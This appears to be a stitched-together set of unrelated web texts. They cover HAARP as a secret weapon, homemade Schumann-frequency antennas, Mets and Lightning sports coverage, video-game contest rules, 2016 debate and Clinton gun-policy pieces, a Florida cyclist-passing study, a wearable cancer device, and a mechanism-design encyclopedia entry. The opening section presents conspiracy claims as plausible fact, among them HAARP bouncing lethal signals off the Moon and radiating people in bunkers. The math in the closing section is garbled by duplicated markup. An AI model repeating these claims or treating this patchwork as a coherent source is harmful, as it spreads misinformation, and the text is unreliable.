“Schuster confirmed Kucinich’s comments in a report detailing that “the Joint Requirements Oversight Council plays a key role” in advancing Vision 2020, and that “U.S. Joint Forces Command conducts experiments on new warfighting concepts and operations.” “In 1998, the U.S. Joint Forces Command began to implement a joint experimentation program to test new warfighting concepts that now support Joint Vision 2020,” Schuster reported. The HAARP program is jointly administered by the U.S. Navy and Air Force and is a central part of the Vision 2020 strategy. A February 1990 HAARP Joint Service program plan drafted by the Air Force’s Geophysical Laboratory and the Navy’s Office of Naval Research documents the plan’s military applications: The document indicates that HAARP will be used, among other things, for generating extremely low-frequency waves for submerged submarine communication and possible weather warfare applications, and for attempts to take advantage of natural ionospheric processes by directing energy through the ionosphere and back to Earth. The Russians and some European allies are worried that the U.S. military’s experiments focusing large amounts of high-frequency energy for military purposes could theoretically trigger earthquakes. In April 1992, Defense News reported that the U.S. deployed an electromagnetic pulse weapon during Operation Desert Storm." (Fitrakis, 2002)
Guy Kramer has suggested the HAARP array may be used to bounce deadly signals off the ionosphere and moon to target sites on Earth with major explosions, virtually eliminating the need for tactical nuclear weapons. This military array in Alaska and others like it around the world have the potential to deliver an equivalent nuclear detonation to a long-range target without warning, without the missile and without the radiation. One of 12 U.S. HAARP patents is titled: U.S. Patent 4873928: Nuclear-Sized Explosions Without Radiation. The High-frequency Active Auroral Research Program (HAARP) is a congressionally initiated program jointly managed by the U.S. Air Force and U.S. Navy. Using 3 gigawatts of power (3 billion watts) from a 23-acre site in Gakona, Alaska, it is considered the most powerful array on Earth. Another ability of an array such as HAARP could be used to heat radiate people within a large yet distant target, even a buried underground bunker or cave network. This would minimize public and international opposition to such a response as the effects, although not as visual as tactical nuclear detonations, provides a similar broad termination of targets. The world may not even realize anything had happened and thus large-scale enemy losses in one location without physical munitions detonations may be played down or passed off as conventional combat or Special Forces action.
“The trick to using such a weapon with underground targets is to find the target in the first place. The same array that may be used to deliver the effect can also be used to penetrate deep into the ground to find the target. HAARP can in effect be used for Earth-penetrating tomography, which can reveal the existence of underground installations. The HAARP complex consists of 180 towers, 72 feet in height, forming a "high-power, high frequency phased array radio transmitter". Military applications of HAARP include long-range ground penetration radar, over the horizon radar, submarine communication. The basics for Ground penetration or target neutralization is to use the antenna array to target and heat the ionosphere in the upper atmosphere to create a lens to bounce or reflect a signal off to a target of great distance. Although some distances may be to far to reach a target if it is on the other side of the globe.” Moon Bounce “In late 1998 and early 1999 the ELFRAD GROUP monitored a daily frequency from .9 to .95 hertz (pulses per second), the wavelength of this frequency was approximately 319,877km or 198,711 miles. The moon's distance is fairly close to the wavelength. The signal appears to be a controlled signal transmitted from an unknown source at approximately the same time daily except weekends. The signal is strong enough to generate it's third harmonic which is 2.81235 Hz. The signal has a very quick rise time and a slower decay at the end, which is usually indicative of an artificial source. A low pass filtered showed the signal tracks very well with the magnetometers placed in various locations around the planet especially those in the northern area. Lets pick apart the data above. A Ultra Low Frequency signal in late 1998 through early 1999 from an unknown source which occurs only on week days, powerful enough to create a third harmonic wave, with a quick rise slow decay which tracks better with magnetometers in the North and a wavelength approximately matching the distance to the moon. The answer seems apparen: HAARP or a similar array in the North is bouncing signals off the Moon back to the Earth.
“Why would you want to bounce signals off the Moon? To reach targets around the world you could design a floating mobile HAARP that would have to equal the surface area of five large aircraft carriers or 8 super tankers tied together costing billions of dollars, or you could use a stationary permanent array such as HAARP and use the moon as a reflector to effectively bounce your signals anywhere on Earth given mutual Moon visibility between the source and the target! Ham radio enthusiasts call this reflection technique EME (Earth-Moon-Earth) or Moonbounce, and have been utilizing the moon with High Frequencies since the 1950's to communicate around the world. HAARP can transmit both Low and High Frequencies.
“It is rumored that Israel has access to a similar array, which would increase mutual moon visibility in the Middle East region for Moonbounce transmission, but proximity to any targets in this area might be close enough to an Israeli array that Ionosphere reflection might be possible around the clock. Tactical Nuclear retaliation by the U.S. during the War on Terrorism is in effect obsolete, given that the Americans could tactically strike with a geophysics array producing similar damage associated with nuclear detonation, without the long term detrimental effects and downwind radioactive fallout. Other alternative uses of the array such as radiating transmissions may provide similar biological target termination without any blast effects. Moonbounce techniques also mean that a stationary array can in effect target anywhere on the Earth. Star Wars now seems an appropriate term for this particular Strategic Defense Initiative using HAARP to utilize the Moon as a potential Death Star!”
(Ref. Elfrad Group, http://www.elfrad.com/Moon.htm)
PRIVATELY DETECTING SR SIGNALS
Hans Michlmayr, has developed several homespun antennae for detecting and measuring Schumann frequencies under 50Hz from fairly common materials, such as PVC pipe, electrical conduit, acrylic sheet, copper wire, steel flat bar, and threaded rod. One is simply a loop in the ground, made with 40-core telephone cable buried in a 400mm deep trench. The shape is a 25x53 meter rectangle. He found the horizontal array need a vertical polarization to be effective for detection of these subtle signals.
After a couple of tries using an antenna core made of 100-pair telephone cable with a 200 turn coil, he produced a more "professional" large induction coil, since the prior one was to sensitive to wind which distorted the signal. In all of his successful models, the signal is processed and buffered for output, monitoring, recording, and analyzing. Interference-free reception was more difficult than he first imagined; antennae need to be far removed from power lines. He finally achieved reception unaffected by the weather, but not by interference during the day. At night he could record clean spectra. He used a coil of 30,000 turns of wire, but found one used by a colleague of 100,000 turns to be even more sensitive
http://members.iinet.net.au/~ajbv/magnetic/Magnetic.html. A steel core was the key to making the antenna receptive to weak Schumann's signals. The particulars of construction with illustrations are included at these web sites.
***Ben Lonetree, electrical engineer, http://sidereal7.com has also done extensive monitoring of SR frequencies and Earth’s electromagnetic fields in Sedona, Arizona [INTERVIEW granted 3-29-03]
The usual subjects: losing, pitching, bullpen, lack of timely hitting, losing, sitting an acre in back of first place, managing, pitching-coaching, losing, underachievement, substandard defense and a general displeasure with losing.
Yes, the Mets saw themselves staring back through the mirror when the played the Rangers, who are essentially having the same exact season.
That’s about to change, if you haven’t heard. The Mets, who have achieved their 25-32 record despite an early schedule that Jim Boeheim would be proud to call his own, are about to undertake on a harrowing stretch of games beginning this Monday:
Three with the inconsistent (but still defending-champion) Cubs.
Four with the Nationals who, with a powerful pair of field binoculars, the Mets can spot way out in the NL East distance.
Four at the Dodgers, who are a team the Mets will probably be chasing if they ever clear .500 and officially begin pursuit of a wild card.
Three at the Giants, who are terrible, and are probably thinking, “When do we get our crack at the Mets, who are terrible?”
Three against the Marlins in Miami, where the Mets traditionally play their most profoundly awful baseball of any season.
Three against the Phillies at home. No snark, but good luck to you if you don’t sweep.
And then this: three at the Nats. Three at St. Louis. Three against the Rockies, who are mashing everybody. Four more against the Cards.
That brings us to July 21. If you’re keeping score at home, that’s 24 games against the NL’s elite, six games against scuffling teams taking place in traditional house-of-horror locales for the Mets and three against the Phillies.
In other words:
It might be a good time to take advantage of these four games against the Braves this weekend, a Braves team that will be without Met killer Freddie Freeman, a Braves team that, oh by the way, entered their game with the Phillies on Thursday night with the same 25-32 record as the Mets have.
Things are about to get real for the Mets.
Really real.
“We need to start playing good baseball, and when we do that, we’ll start winning games in bunches,” Mets manager Terry Collins said after Wednesday’s 4-3 win over the Rangers. “You do that, soon you look up and you’ve won seven out of nine and you’re finally on your way.”
If nothing else, the Mets will know by the end of this spate of games where, exactly, they sit — all of it conveniently concluding only 10 days before the trading deadline.
Now, the last two years, the Mets have shown a genuine proficiency for playing their very best when they absolutely needed to. In 2015, they left home left for dead for the July 4 holiday and promptly took two out of three from the rampaging Dodgers, all but sending a desperate message to their GM to acquire reinforcements. Last year, at 60-62 and facing five games against the Cardinals and Giants — the teams they would outlast for the wild card — they won four out of five and were on their way.
This year’s statement opportunity comes earlier in the calendar, but the Mets’ record mandates the stakes are just as high. They’ll still be without Noah Syndergaard and Jeurys Familia for the entirety of this stretch, but they will get Steven Matz and Seth Lugo back this weekend, and should get Yoenis Cespedes back early (presumably) in the coming surge of games.
The declaration is at hand: In or out? Buyers or sellers? Playoff pursuant or playoff pretenders? They’ve hinted at what they are for 57 games, and the early returns aren’t good. Over the next 37, starting Friday? They’ll be 94 games in, and we’ll know for sure. Let’s say 49-45 is a reasonable place to be by then if you want to keep dreaming of October.
That means 24-13 for these 37. Against those teams.
GuardianE takes this week’s round by a landslide thanks to some impressive footwork, a very slick taunt application, and one brutal finisher. Congrats, Guardian! You secured 38% of the vote and are eligible for the Final Round.
Coming in second once again was GarudaPSN with 22% of the vote, followed just behind by IKevinX with 19%.
Now then! Onto the rules for Round 5!
First, be sure to check the initial tournament post for important information about how to submit.
FULL CONTEST RULES
Round 5 Rules:
Character: Vergil
Difficulty: Dante Must Die
Modifiers: Turbo Mode is optional! You may choose the costume of your preference. Super Vergil is optional!
Mission: 17
Fight: Business District/Terrace. This is a huge fight with lots of different enemy types and plenty of open space. Just try not to let the objects in the road obscure your (and our) view of the action!
You do not have to perform the entire fight in 60 seconds, but the clip itself must be limited to a 60-second (or shorter) piece of the fight. It may, of course, be shorter than 60 seconds.
Please upload your video at 720p or better if possible! This is for your benefit as an entrant. J
Deadline: Monday, August 17th @12:00pm (noon) PDT
Bishop played well, and the Lightning weren’t out of the game until Andrew MacDonald’s empty-net goal (3) with less than 15 seconds remaining sealed the win for New York. Tampa Bay kept putting themselves in a hole but were able to hang around.
Michael Grabner (12) scored the only goal in the first period, beating Bishop to the glove side after a Nate Thompson turnover in the defensive zone. Bishop probably could have made the save, but it would have been a pretty impressive save. It was certainly no travesty that the puck went by him.
Vincent Lecavalier’s no-look pass to Richard Panik (2) helped the Bolts beat Evgeni Nabokov and tie the game early in the second. Nabokov was good in the game, making 19 of 21 saves.
New York quickly took the lead back with Josh Bailey’s (7) goal that came courtesy of some great stick-handling and skating by Kyle Okposo, leaving Lightning defenders crumpled on the ice behind him.
Matt Carle (4) tied the game on a rebound 4:00 into the third, beating Nabokov as he searched desperately for his stick in the goal crease. It was Carle’s first goal in 22 games.
The Lightning proved kept things tied until Matt Martin (3) scored the game-winner through a Casey Cizikas screen at 13:34. Bishop never even saw the puck being shot and had no chance to stop it.
Despite the loss, which put Tampa Bay eight points behind the eighth-place Islanders with 11 games remaining, the Bolts didn’t look incompetent Saturday night, creating good chances against a quality team riding a hot streak into the playoffs.
The moves Tampa Bay made (bringing in coach Jon Cooper and Bishop) seem to have just been too late to save the team this season, but it is something good to build off of through the rest of the spring and into the summer and fall.
One thing’s for sure: there’s no quit in this team, and they’ll play it out until the end.
“We’re playing every game like it’s Game 7 of the playoffs,” defenseman Keith Aulie said. “We know what’s at stake, we know what the standings are, but we’re focusing and just taking it game by game.”
The Islanders will continue their playoff push when they host the Philadelphia Flyers on Tuesday night, starting at 7 p.m. ET.
The Lightning will face off with the Washington Capitals, now the leaders of the Southeast Division, on Sunday night at 7 p.m. ET. Each team played on Saturday night, making for what will likely be a sloppy but hard-fought game.
A victory is all but a requirement for the Lightning to keep their playoff hopes alive. They currently sit six points behind the division-leading Capitals.
NOTES
The Lightning recalled defenseman Matt Taormina from Syracuse prior to Saturday’s game against the Islanders. Taormina, 26, has 21 points and 19 penalty minutes in 50 games for the Crunch this season.
The debate will be hosted by NBC Nightly News anchor Lester Holt and air from 9:00 pm to 10:30 pm ET. It will be the first joint airing of the two candidates since the highly contentious Commander-in-Chief Forum moderated by Matt Lauer two weeks ago.
After the ill-fated NBC News forum, Trump again raised his suspicions that the “system is being gamed… and what they’re doing is they’re gaming the system so that when I go into the debate, I’m going to be treated very, very unfairly by the moderators.”
Clinton on the other hand, has said she’s ready for whatever insults and attacks might be thrown her way.
"I understand it's a contact sport," Clinton told "The Steve Harvey Morning Show" last week. "I am going to do my very best to communicate as clearly and as fearlessly as I can in the face of the insults and the attacks and the bullying and bigotry we've seen coming from my opponent," she said.
The first presidential debate with undoubtedly highlight the contrast between the two candidates—one with significant national security experience and another who has repeatedly failed to clarify his “big plans” on anything—and may even decide who will become the next leader of the free world.
Will Clinton appear standoffish or stiff? Will Trump say something ridiculous and offensive? Can Clinton’s more traditional debate prep help her face an entirely unpredictable loose cannon of a candidate? Tune in to see at 9:00 pm to 10:30 pm ET on Monday, September 26th.
How to Watch, Live Stream, and Listen to the First Presidential Debate
The debate will be broadcast live on C-SPAN, ABC, CBS, FOX, and NBC and all cable news channels– including CNN, Fox News, and MSNBC. All the major news networks will also be offering free live streams in addition to those provided by YouTube, Facebook, and Twitter.
Viewers without a cable subscription can view the debate live on CNN.com, for free and without a cable provider login.
Then she added that the reason there are so many guns is the success of the “gun lobby” in keeping Congress from passing more laws to restrict their ownership:
There’s been a lot of talk in this campaign … about the power of certain interests in our country. And we do have a bunch of powerful interests, make no mistake about it. But there is no more powerful lobby than the gun lobby.
Clinton refers to the gun issue at nearly every whistlestop she makes. On Sunday, April 17, she targeted the gun lobby:
You know what the most powerful lobby in Washington is? The gun lobby, which intimidates people, scares people. If you stand with me, we’re gonna do what only one recent president has been able to do, and that is stand up to them — when my husband was able to ban assault weapons. We’re gonna go right back at it.
During an appearance on MSNBC on Wednesday, April 6, she took the opportunity to rail against guns, gunmakers, and her opponent, Senator Bernie Sanders, whose picture just happened to be on the front cover of the New York Daily News. At issue was the support by Sanders of a bill giving immunity to gun manufacturers from negligence lawsuits by shooting victims: “That he [Sanders] would place gun manufacturers’ rights and immunity from liability against the parents of the children killed at Sandy Hook is just unimaginable to me.”
Hillary loves to overstate gun violence, claiming that “90 people a day die from gun violence in our country. That’s 33,000 people a year.” She reiterates the statistic on her website: “About 33,000 Americans are killed by guns each year. That is unacceptable.”
What’s unacceptable is her glossing over two essential facts. According to the Center for Disease Control (CDC), where she got the statistic for the year 2013, 64 percent — more than six out of 10 — died by suicide, leaving 11,208 homicides by a firearm. And, according to the FBI, even that number is suspect: reporting for just one year earlier, 2012, there were a total of 8,855 firearm-related homicides in the United States.
But for ideologues, facts really don’t matter. It’s the message which, repeated often enough, becomes fact.
Clinton’s message, at least, is consistent. She intends, as president, “to do everything I can do, and I’m never going to stop trying," as reported by C-Span back in December. She then took the opportunity to expand on exactly what she intends to do: “I think we need to pass some laws that I have been advocating for.” Those laws include:
• Adding more comprehensive background checks beyond those already on the books;
• Closing the “gun show loophole," referring to the occasional sale (in states where they are allowed) by a private individual to another private individual that might take place at a gun show without a federal background check;
• Closing the “online loophole,” whereby private individuals can connect and do business (again, in states where it is allowed) through websites such as Armslist.com without a federal background check;
• Closing the “Charleston loophole” — the three-day rule that grants permission for a sale to be completed if it hasn’t been denied within three days;
• Adding anyone on the so-called “no-fly” list to the background check database;
• Allowing gun manufacturers to be sued for guns used in a crime; and
• Allowing gun sellers, which would include gun dealers as well as individuals, to be sued for gun crimes.
And just to make sure that everyone gets the message, Hillary said that if Congress fails to act on these measures under her administration, she “will take administrative action” including providing additional funding for the Bureau of Alcohol, Tobacco, Firearms and Explosives (ATF) to hire more agents “to increase inspections and aggressively enforce current laws by revoking the licenses of dealers who knowingly supply straw purchasers and traffickers.”
On her website, Clinton has promised also to push for legislation that would apply “domestic violence” laws to people in dating relationships and stalkers, prohibiting them from buying or owning firearms. She will push the ATF to “finalize its rulemaking [authority] to close loopholes in our laws and clarify that people involuntarily committed to outpatient treatment … are prohibited from buying guns.” She declares that “military-style assault weapons do not belong on our streets” and that she will “work to keep [them] off our streets and supports reinstating the assault weapons ban.”
She has also said that an outright mandatory confiscation of firearms similar to that imposed by Australia on its citizens was “worth considering.”
The so-called gun lobby, made up of groups such as the National Rifle Association (NRA), Gun Owners of America (GOA), Citizens for the Right to Keep and Bear Arms, The Second Amendment Foundation (SAF), the National Association for Gun Rights (NAGR), and Jews for the Preservation of Firearms Ownership (JPFO) remain on high alert. Said Chris Cox, executive director of the NRA's Institute for Legislative Action (NRAILA): “This validates what the NRA has said all along. The real goal of gun control supporters is gun confiscation. Hillary Clinton's extreme views are completely out of touch with the American people."
It’s possible for gun owners to keep Clinton from getting anywhere near the White House, according to Alan Gottlieb, founder of the SAF: “I’m hoping the gun rights movement is what pulls off the election. We account for one or two percent that can change [it]. Lots of gun owners aren’t just Republicans, they’re Independents and Democrats. If they cross over and vote for a Republican candidate, Hillary Clinton will not be in the White House.”
Photo: AP Images
The Florida Department of Transportation published a study [PDF] in which highway researchers measured how much room car and truck drives gave cyclists on Florida roads.
Florida’s study seems to replicate the “Mary Poppins Effect” first observed by Dr Ian Walker at the University of Bath, England in 2005. Walker found motorists gave him more passing room when he wore a wig (to appear like a woman) and when he was casually dressed (vs in athletic apparel). The FDOT study found similar results.
A little more interesting to me, and probably more relevant from a safety standpoint: FDOT researchers found car and truck drivers gave more passing room for cyclists who ride further out from the curb, up to a certain point.
Intuitively, one would expect that the closer you ride to the curb, the more lateral separation you have. On the contrary, the results presented in Table 4 and Figure 6 show that riding closer to the curb results in a smaller separation. Field observations revealed that when bicyclists ride closer to the curb, some motor vehicles, especially compact cars attempt to fit in the lane without laterally shifting to the adjacent lane, hence causing lesser distance. On the other hand, the results show that riding too far from the curb also results in a shorter distance. It seems that there is a spot between 3 and 4 ft from the curb that results in the greatest lateral separation between motor vehicles and bicyclists. It should be noted however, that higher standard deviations were observed. This was mainly caused by the fact that some drivers choose to stay within the outside through lane while others laterally shift to the inside lane.
Other findings:
Passenger cars give less passing distance (mean 5.19 feet) than SUVs and pickup trucks (5.30 and 5.25 feet, respectively)
Large trucks give the most passing room at 6.27 feet.
Box trucks give the least passing distance at 4.48 feet. Florida bus drivers give the second least at 4.79 feet.
Drivers slowed slightly when passing cyclists, dropping their speed by an average 1.4 MPH, but sped up and drove faster than their previous speed after passing, moving 2.7 MPH faster than previously on average. This “drive faster” behavior is common for traffic calming measures such as speed bumps and stop signs; as far as I know this is the first time this has been observed when passing cyclists.
From Bike San Diego, which has more discussion on the gender and apparel aspects of this study. Via Streetsblog Network. Study authors were Thobias Sando, h.D., P.E., PTOE
and R. Moses at the University of North Florida.
Photo by Bruce Dean.
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Yesterday the Israel-based oncology company NovoCure announced that its wearable, noninvasive therapy had achieved the longest median survival rate yet for these recurrent brain cancers. NovoCure's NovoTTF-100A is a sort of anticancer hat that patients can wear outside of the hospital. It continuously fires low-intensity electric fields into the brain while patients go about their daily lives. The electricity stunts cell growth and halts the tumor's uncontrolled progression, sparing healthy brain cells that rarely need to grow and divide.
"NovoTTF increases survival rates twofold, without the adverse effects of chemotherapy," says Eilon Kirson, Chief Medical Officer at NovoCure. "Patients reported better quality of life, and better cognitive and emotional functioning."
Obstacles to Wearable Devices
NovoTTF has been available since 2011, when the FDA approved the treatment for adult patients with recurrent glioblastoma. Although randomized clinical trials were conducted, the FDA approval was met with some resistance due to possible statistical anomalies. Later an independent study found that although NovoTTF patients reported less serious side effects, the wearable treatment simply did not improve survival rates when compared with conventional chemotherapy.
Despite these initial misgivings, insurers began covering NovoTTF—the cost of which is on par with chemotherapy—and 128 cancer centers in the U.S. have adopted the treatment since 2011. The most recent study, conducted by NovoCure, capitalized on the now-extensive database of 457 patients to analyze survival rates across a larger sample size. The study found that median survival rates doubled to about nine and a half months.
While subjects who receive conventional chemotherapy often suffer from anemia—low blood count, fatigue—and severe nausea, the NovoCure study reports that patients complained of virtually no device-related side effects, except for an occasional skin rash from the electrodes.
"It's very well-tolerated, and it usually doesn't interfere with quality of life," says Isabelle Germano, a professor of neurosurgery at Mount Sinai School of Medicine, who was not involved in the study. "I have patients who played golf while wearing it."
Fighting Cancer With Electricity
NovoTTF blasts tumors with alternating electric currents that stymie cell growth. By definition, cancer cells propagate uncontrollably, so most cancer treatments are aimed at halting the deadly progression.
But until recently cancer patients' options were relatively limited. "Existing [methods] for treating cancer are basically surgery, radiation, and chemotherapy," Kirson says. "We see electric fields as the next force in cancer treatment."
Most chemotherapy and radiation treatments destroy abnormal cells—along with nearby healthy cells—by damaging their DNA. Electric therapies, instead, target tumors by disrupting the highly sensitive, electrically driven process of cell division. In the brain this keeps collateral damage to a minimum, because healthy, adult brain cells rarely divide.
"The punch line is that, because this is a more mechanical distortion of the cell, the side effects are minimal as opposed to damaging the actual DNA," Germano says.
In the near future physicians may use wearable, alternating electric currents to treat a broader spectrum of cancers. "There have been preclinical, animal studies for melanoma, lung cancer, pancreatic cancer, and breast cancer," Germano says. "At least in the lab, the results look promising."
Making It Wearable
Cancer-killing electric currents are exciting, but perhaps the most important aspect of NovoTTF is that it's wearable. A lightweight, wearable therapy means that patients spend less time at treatment centers receiving chemotherapy and more time at home with their loved ones. "It's the future of treating cancer," Kirson says. "You don't have to do it alone anymore."
And while the NovoTTF is a fairly noticeable treatment worn on patients' heads, further research into breast cancer applications, for instance, could herald a subtler device. "Eventually, it could be worn on the chest or abdomen, under the clothes," says Kirson.
Patients currently carry the battery that powers NovoTTF in a satchel, or plug the system into a wall outlet when they are relaxing at home. In the coming months NovoCure will continue to work on designing an even more convenient wearable therapy.
Mechanism design is a field in economics and game theory that takes an engineering approach to designing economic mechanisms or incentives, toward desired objectives, in strategic settings, where players act rationally. Because it starts at the end of the game, then goes backwards, it is also called reverse game theory. It has broad applications, from economics and politics (markets, auctions, voting procedures) to networked-systems (internet interdomain routing, sponsored search auctions).
Mechanism design studies solution concepts for a class of private-information games. Leonid Hurwicz explains that 'in a design problem, the goal function is the main "given", while the mechanism is the unknown. Therefore, the design problem is the "inverse" of traditional economic theory, which is typically devoted to the analysis of the performance of a given mechanism.'[1] So, two distinguishing features of these games are:
that a game "designer" chooses the game structure rather than inheriting one
that the designer is interested in the game's outcome
The 2007 Nobel Memorial Prize in Economic Sciences was awarded to Leonid Hurwicz, Eric Maskin, and Roger Myerson "for having laid the foundations of mechanism design theory".[2]
Intuition [ edit ]
In an interesting class of Bayesian games, one player, called the "principal", would like to condition his behavior on information privately known to other players. For example, the principal would like to know the true quality of a used car a salesman is pitching. He cannot learn anything simply by asking the salesman, because it is in the salesman's interest to distort the truth. However, in mechanism design the principal does have one advantage: He may design a game whose rules can influence others to act the way he would like.
Without mechanism design theory, the principal's problem would be difficult to solve. He would have to consider all the possible games and choose the one that best influences other players' tactics. In addition, the principal would have to draw conclusions from agents who may lie to him. Thanks to mechanism design, and particularly the revelation principle, the principal only needs to consider games in which agents truthfully report their private information.
Foundations [ edit ]
Mechanism [ edit ]
A game of mechanism design is a game of private information in which one of the agents, called the principal, chooses the payoff structure. Following Harsanyi (1967), the agents receive secret "messages" from nature containing information relevant to payoffs. For example, a message may contain information about their preferences or the quality of a good for sale. We call this information the agent's "type" (usually noted θ {\displaystyle \theta } and accordingly the space of types Θ {\displaystyle \Theta } ). Agents then report a type to the principal (usually noted with a hat θ ^ {\displaystyle {\hat {\theta }}} ) that can be a strategic lie. After the report, the principal and the agents are paid according to the payoff structure the principal chose.
The timing of the game is:
The principal commits to a mechanism y ( ) {\displaystyle y()} y {\displaystyle y} The agents report, possibly dishonestly, a type profile θ ^ {\displaystyle {\hat {\theta }}} The mechanism is executed (agents receive outcome y ( θ ^ ) {\displaystyle y({\hat {\theta }})}
In order to understand who gets what, it is common to divide the outcome y {\displaystyle y} into a goods allocation and a money transfer, y ( θ ) = { x ( θ ) , t ( θ ) } , x ∈ X , t ∈ T {\displaystyle y(\theta )=\{x(\theta ),t(\theta )\},\ x\in X,t\in T} where x {\displaystyle x} stands for an allocation of goods rendered or received as a function of type, and t {\displaystyle t} stands for a monetary transfer as a function of type.
As a benchmark the designer often defines what would happen under full information. Define a social choice function f ( θ ) {\displaystyle f(\theta )} mapping the (true) type profile directly to the allocation of goods received or rendered,
f ( θ ) : Θ → X {\displaystyle f(\theta ):\Theta \rightarrow X}
In contrast a mechanism maps the reported type profile to an outcome (again, both a goods allocation x {\displaystyle x} and a money transfer t {\displaystyle t} )
y ( θ ^ ) : Θ → Y {\displaystyle y({\hat {\theta }}):\Theta \rightarrow Y}
Revelation principle [ edit ]
A proposed mechanism constitutes a Bayesian game (a game of private information), and if it is well-behaved the game has a Bayesian Nash equilibrium. At equilibrium agents choose their reports strategically as a function of type
θ ^ ( θ ) {\displaystyle {\hat {\theta }}(\theta )}
It is difficult to solve for Bayesian equilibria in such a setting because it involves solving for agents' best-response strategies and for the best inference from a possible strategic lie. Thanks to a sweeping result called the revelation principle, no matter the mechanism a designer can[3] confine attention to equilibria in which agents truthfully report type. The revelation principle states: "To every Bayesian Nash equilibrium there corresponds a Bayesian game with the same equilibrium outcome but in which players truthfully report type."
This is extremely useful. The principle allows one to solve for a Bayesian equilibrium by assuming all players truthfully report type (subject to an incentive compatibility constraint). In one blow it eliminates the need to consider either strategic behavior or lying.
Its proof is quite direct. Assume a Bayesian game in which the agent's strategy and payoff are functions of its type and what others do, u i ( s i ( θ i ) , s − i ( θ − i ) , θ i ) {\displaystyle u_{i}\left(s_{i}(\theta _{i}),s_{-i}(\theta _{-i}),\theta _{i}\right)} . By definition agent i's equilibrium strategy s ( θ i ) {\displaystyle s(\theta _{i})} is Nash in expected utility:
s i ( θ i ) ∈ arg ⁡ max s i ′ ∈ S i ∑ θ − i p ( θ − i ∣ θ i ) u i ( s i ′ , s − i ( θ − i ) , θ i ) {\displaystyle s_{i}(\theta _{i})\in \arg \max _{s'_{i}\in S_{i}}\sum _{\theta _{-i}}\ p(\theta _{-i}\mid \theta _{i})\ u_{i}\left(s'_{i},s_{-i}(\theta _{-i}),\theta _{i}\right)}
Simply define a mechanism that would induce agents to choose the same equilibrium. The easiest one to define is for the mechanism to commit to playing the agents' equilibrium strategies for them.
y ( θ ^ ) : Θ → S ( Θ ) → Y {\displaystyle y({\hat {\theta }}):\Theta \rightarrow S(\Theta )\rightarrow Y}
Under such a mechanism the agents of course find it optimal to reveal type since the mechanism plays the strategies they found optimal anyway. Formally, choose y ( θ ) {\displaystyle y(\theta )} such that
θ i ∈ arg ⁡ max θ i ′ ∈ Θ ∑ θ − i p ( θ − i ∣ θ i ) u i ( y ( θ i ′ , θ − i ) , θ i ) = ∑ θ − i p ( θ − i ∣ θ i ) u i ( s i ( θ ) , s − i ( θ − i ) , θ i ) {\displaystyle {\begin{aligned}\theta _{i}\in {}&\arg \max _{\theta '_{i}\in \Theta }\sum _{\theta _{-i}}\ p(\theta _{-i}\mid \theta _{i})\ u_{i}\left(y(\theta '_{i},\theta _{-i}),\theta _{i}\right)\\[5pt]&=\sum _{\theta _{-i}}\ p(\theta _{-i}\mid \theta _{i})\ u_{i}\left(s_{i}(\theta ),s_{-i}(\theta _{-i}),\theta _{i}\right)\end{aligned}}}
Implementability [ edit ]
The designer of a mechanism generally hopes either
to design a mechanism y ( ) {\displaystyle y()}
to find the mechanism y ( ) {\displaystyle y()}
To implement a social choice function f ( θ ) {\displaystyle f(\theta )} is to find some t ( θ ) {\displaystyle t(\theta )} transfer function that motivates agents to pick outcome x ( θ ) {\displaystyle x(\theta )} . Formally, if the equilibrium strategy profile under the mechanism maps to the same goods allocation as a social choice function,
f ( θ ) = x ( θ ^ ( θ ) ) {\displaystyle f(\theta )=x\left({\hat {\theta }}(\theta )\right)}
we say the mechanism implements the social choice function.
Thanks to the revelation principle, the designer can usually find a transfer function t ( θ ) {\displaystyle t(\theta )} to implement a social choice by solving an associated truthtelling game. If agents find it optimal to truthfully report type,
θ ^ ( θ ) = θ {\displaystyle {\hat {\theta }}(\theta )=\theta }
we say such a mechanism is truthfully implementable (or just "implementable"). The task is then to solve for a truthfully implementable t ( θ ) {\displaystyle t(\theta )} and impute this transfer function to the original game. An allocation x ( θ ) {\displaystyle x(\theta )} is truthfully implementable if there exists a transfer function t ( θ ) {\displaystyle t(\theta )} such that
u ( x ( θ ) , t ( θ ) , θ ) ≥ u ( x ( θ ^ ) , t ( θ ^ ) , θ ) ∀ θ , θ ^ ∈ Θ {\displaystyle u(x(\theta ),t(\theta ),\theta )\geq u(x({\hat {\theta }}),t({\hat {\theta }}),\theta )\ \forall \theta ,{\hat {\theta }}\in \Theta }
which is also called the incentive compatibility (IC) constraint.
In applications, the IC condition is the key to describing the shape of t ( θ ) {\displaystyle t(\theta )} in any useful way. Under certain conditions it can even isolate the transfer function analytically. Additionally, a participation (individual rationality) constraint is sometimes added if agents have the option of not playing.
Necessity [ edit ]
Consider a setting in which all agents have a type-contingent utility function u ( x , t , θ ) {\displaystyle u(x,t,\theta )} . Consider also a goods allocation x ( θ ) {\displaystyle x(\theta )} that is vector-valued and size k {\displaystyle k} (which permits k {\displaystyle k} number of goods) and assume it is piecewise continuous with respect to its arguments.
The function x ( θ ) {\displaystyle x(\theta )} is implementable only if
∑ k = 1 n ∂ ∂ θ ( ∂ u / ∂ x k | ∂ u / ∂ t | ) ∂ x ∂ θ ≥ 0 {\displaystyle \sum _{k=1}^{n}{\frac {\partial }{\partial \theta }}\left({\frac {\partial u/\partial x_{k}}{\left|\partial u/\partial t\right|}}\right){\frac {\partial x}{\partial \theta }}\geq 0}
whenever x = x ( θ ) {\displaystyle x=x(\theta )} and t = t ( θ ) {\displaystyle t=t(\theta )} and x is continuous at θ {\displaystyle \theta } . This is a necessary condition and is derived from the first- and second-order conditions of the agent's optimization problem assuming truth-telling.
Its meaning can be understood in two pieces. The first piece says the agent's marginal rate of substitution (MRS) increases as a function of the type,
∂ ∂ θ ( ∂ u / ∂ x k | ∂ u / ∂ t | ) = ∂ ∂ θ M R S x , t {\displaystyle {\frac {\partial }{\partial \theta }}\left({\frac {\partial u/\partial x_{k}}{\left|\partial u/\partial t\right|}}\right)={\frac {\partial }{\partial \theta }}\mathrm {MRS} _{x,t}}
In short, agents will not tell the truth if the mechanism does not offer higher agent types a better deal. Otherwise, higher types facing any mechanism that punishes high types for reporting will lie and declare they are lower types, violating the truthtelling IC constraint. The second piece is a monotonicity condition waiting to happen,
∂ x ∂ θ {\displaystyle {\frac {\partial x}{\partial \theta }}}
which, to be positive, means higher types must be given more of the good.
